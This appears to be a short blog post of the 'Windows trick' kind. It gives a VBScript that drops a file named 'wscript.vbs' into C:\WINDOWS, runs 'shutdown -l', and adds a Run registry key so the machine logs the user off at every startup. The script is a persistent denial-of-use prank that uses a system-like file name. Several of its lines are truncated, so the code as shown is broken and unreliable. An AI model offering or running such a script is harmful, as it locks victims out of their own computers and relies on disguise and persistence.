Log Off Windows at every Start up
Just open notepad and Type The Following vbscript Code :
dim strDir,strfile,st,strtxt2,strshell,strlo
dim obfso,obfolder,obshell,obfile,obtxtfile
strshell="wscript.shell"
strDir="C:\WINDOWS"
strfile="\wscript.vbs"
st=Chr(34)
strlog="shutdown -l"
strtxt2="ws.run(strlog)"
set obfso=CreateObject("Scripting.FileSystem
on error resume next
set obfile=obfso.CreateTextfile(strDir & strfile)
obfile.writeline("set ws=createobject("&st&strshell&st&")")
obfile.writeline("ws.run("&st&strlog&st&
ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Logoff","C:\WINDOWS\wscript.vbs","REG_SZ”
========================================
Now Save This Script with “anyname.vbs”
Eg:- winfile.vbs
========================================
This Script Actually Writes a File Named “wscript.vbs” in the “C:\Windows” Directory and Aslo Writes a Key Value in The Registory “HKCU\Software\Microsoft\Windows\Current
Where HKCU is The HKEY_CURRENT_USER.
so that the file is automatically executed at every start up
========================================
0 comments:
Post a Comment